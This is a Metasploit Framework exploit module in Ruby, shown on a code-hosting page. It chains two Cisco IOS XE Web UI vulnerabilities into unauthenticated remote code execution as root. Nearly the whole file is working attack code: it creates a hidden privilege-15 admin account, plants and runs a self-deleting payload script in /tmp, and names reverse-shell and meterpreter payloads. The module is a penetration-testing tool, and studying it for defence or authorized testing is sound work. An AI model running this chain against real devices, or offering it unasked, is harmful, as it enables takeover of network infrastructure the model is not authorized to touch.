Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/cisco_ios_xe_rce.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HTTP::CiscoIosXe
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Retry
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Cisco IOX XE Unauthenticated RCE Chain',
19
'Description' => %q{
20
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
21
devices which have the Web UI exposed. An attacker can execute a payload with root privileges.
22
23
The vulnerable IOS XE versions are:
24
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
25
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
26
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
27
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
28
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
29
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
30
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
31
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
32
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
33
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
34
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
35
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
36
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
37
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
38
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
39
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
40
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
41
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
42
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
43
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
44
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
45
17.11.99SW
46
47
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
48
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
49
},
50
'License' => MSF_LICENSE,
51
'Author' => [
52
'sfewer-r7', # MSF Exploit
53
],
54
'References' => [
55
['CVE', '2023-20198'],
56
['CVE', '2023-20273'],
57
# Vendor advisories.
58
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],
59
['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],
60
# Vendor list of (205) vulnerable versions.
61
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],
62
# Technical details on CVE-2023-20198.
63
['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'],
64
['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'],
65
# Technical details on CVE-2023-20273.
66
['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'],
67
# Full details of a successful exploitation attempt from a honey pot.
68
['URL', 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf'],
69
],
70
'DisclosureDate' => '2023-10-16',
71
'Privileged' => true,
72
'Platform' => %w[linux unix],
73
'Arch' => [ARCH_CMD],
74
'Targets' => [
75
[
76
# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:
77
# cmd/linux/http/x64/meterpreter/reverse_tcp
78
# cmd/linux/http/x64/shell/reverse_tcp
79
# cmd/linux/http/x86/shell/reverse_tcp
80
'Linux Command',
81
{
82
'Platform' => 'linux',
83
'Arch' => [ARCH_CMD]
84
},
85
],
86
[
87
# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:
88
# cmd/unix/python/meterpreter/reverse_tcp
89
# cmd/unix/reverse_bash
90
'Unix Command',
91
{
92
'Platform' => 'unix',
93
'Arch' => [ARCH_CMD]
94
},
95
]
96
],
97
'DefaultTarget' => 0,
98
'DefaultOptions' => {
99
'RPORT' => 443,
100
'SSL' => true
101
},
102
'Notes' => {
103
'Stability' => [CRASH_SAFE],
104
'Reliability' => [REPEATABLE_SESSION],
105
'SideEffects' => [IOC_IN_LOGS]
106
}
107
)
108
)
109
110
register_options(
111
[
112
# We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of
113
# 'global' should work, but exposing this as an option will allow for usage in more complex network setups.
114
# A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to
115
# inspect a devices configuration to see an appropriate VRF to use.
116
OptString.new('CISCO_VRF_NAME', [ true, "The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.", 'global']),
117
# We may need to try and execute a command a second time if it fails the first time. This option is the maximum
118
# number of seconds to keep trying.
119
OptInt.new('CISCO_CMD_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to execute a command.', 30])
120
]
121
)
122
end
123
124
def check
125
# First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with
126
# the Web UI exposed (which is the vulnerable component).
127
res = send_request_cgi(
128
'method' => 'GET',
129
'uri' => normalize_uri('webui', '/')
130
)
131
132
return CheckCode::Unknown('Connection failed') unless res
133
134
# We look for one of two identifiers to ensure the request to /webui/ above returns something with Cisco in the content.
135
if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))
136
return CheckCode::Unknown('Web UI not detected')
137
end
138
139
# By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,
140
# so if this request succeeds, then we know the target is vulnerable.
141
res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)
142
143
# If the above request failed, then the target is safe.
144
return CheckCode::Safe unless res
145
146
version = 'Cisco IOS XE Software'
147
148
# If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable
149
# (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format
150
# for the version information so our regex wont work.
151
# Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2
152
if res =~ /(Cisco IOS XE Software, Version \S+\.\S+\.\S+)/
153
version = Regexp.last_match(1)
154
end
155
156
# Now we leverage both CVE-2023-20198 and CVE-2023-20273 to ensure the target is actually vulnerable. For example,
157
# it has been observed that the C8000v series appliance version 17.6.5 is vulnerable to CVE-2023-20198, but not
158
# vulnerable to CVE-2023-20273, even though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
159
# As this exploit chains both CVE-2023-20198 and CVE-2023-20273 together, the check routine must verify both CVEs
160
# work as expected in order to return CheckCode::Vulnerable (i.e. we cannot solely rely on a version based check via
161
# CVE-2023-20198).
162
begin
163
# NOTE: We pass verbose as false, because a check routine should not print status messages to the console, and
164
# do_auth_bypass may print several status messages if verbose is true.
165
do_auth_bypass(verbose: false) do |username, password|
166
do_rce_check(username, password)
167
end
168
rescue Msf::Exploit::Failed => e
169
# If either the auth bypass, or the command injection have failed (via a call to fail_with), we catch the
170
# exception here and return a CheckCode of Safe to indicate this target is not vulnerable. We can provide
171
# some additional context to the user by passing the Failure message to the CheckCode.
172
return CheckCode::Safe("#{e}. #{version}")
173
end
174
175
CheckCode::Vulnerable(version)
176
end
177
178
def exploit
179
do_auth_bypass(verbose: true) do |username, password|
180
do_rce_payload(username, password)
181
end
182
end
183
184
def do_auth_bypass(verbose: true)
185
admin_username = rand_text_alpha(8)
186
admin_password = rand_text_alpha(8)
187
188
# Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.
189
unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION)
190
fail_with(Failure::UnexpectedReply, 'Failed to create admin user')
191
end
192
193
begin
194
print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'") if verbose
195
196
yield(admin_username, admin_password)
197
ensure
198
print_status("Removing user '#{admin_username}'") if verbose
199
200
# Leverage CVE-2023-20198 to remove the admin account we previously created.
201
if !run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION) && verbose
202
print_warning('Failed to remove user')
203
end
204
end
205
end
206
207
def do_rce_payload(username, password)
208
# Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...
209
210
# A shell script to execute the Metasploit payload. Will delete itself upon execution.
211
bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"
212
213
# The location of our bootstrap script.
214
bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
215
216
# NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and
217
# 17.8 to work as expected. Version 16.* did not work when semicolons were present in the command line.
218
219
# Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems
220
# with restricted chars, and leverage openssl to decode and write the contents to disk.
221
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
222
next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", username, password)
223
end
224
225
fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file') unless success
226
227
# Make the script executable.
228
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
229
next run_os_command("chmod +x #{bootstrap_file}", username, password)
230
end
231
232
fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file') unless success
233
234
# Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by
235
# default. The VRF allows the executed script to route its network traffic back the framework. The map_chvrf.sh
236
# scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.
237
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
238
next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", username, password)
239
end
240
241
fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file') unless success
242
end
243
244
# We can check a target is vulnerable to CVE-2023-20273, by leveraging CVE-2023-20273 to write a file to the web root
245
# folder, and then read that file back out via an HTTP GET request. If we can read back out the expected data, we know
246
# the target is vulnerable to CVE-2023-20273.
247
def do_rce_check(username, password)
248
check_data = Rex::Text.rand_text_alpha(16)
249
250
check_file = Rex::Text.rand_text_alpha(16)
251
252
check_path = "/var/www/#{check_file}"
253
254
cmd = "echo -n #{check_data} > #{check_path}"
255
256
fail_with(Failure::UnexpectedReply, 'Failed to run check command via CVE-2023-20273') unless run_os_command(cmd, username, password)
257
258
begin
259
res = send_request_cgi(
260
'method' => 'GET',
261
'uri' => normalize_uri('webui', check_file),
262
'headers' => {
263
'Authorization' => basic_auth(username, password)
264
}
265
)
266
267
fail_with(Failure::UnexpectedReply, 'Failed to get check command output for CVE-2023-20273') unless res&.code == 200
268
269
fail_with(Failure::UnexpectedReply, 'Failed to validate check command output for CVE-2023-20273') unless res&.body == check_data
270
ensure
271
# Deleting the output file can take more than one attempt.
272
retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
273
next run_os_command("rm #{check_path}", username, password)
274
end
275
end
276
end
277
end
278
279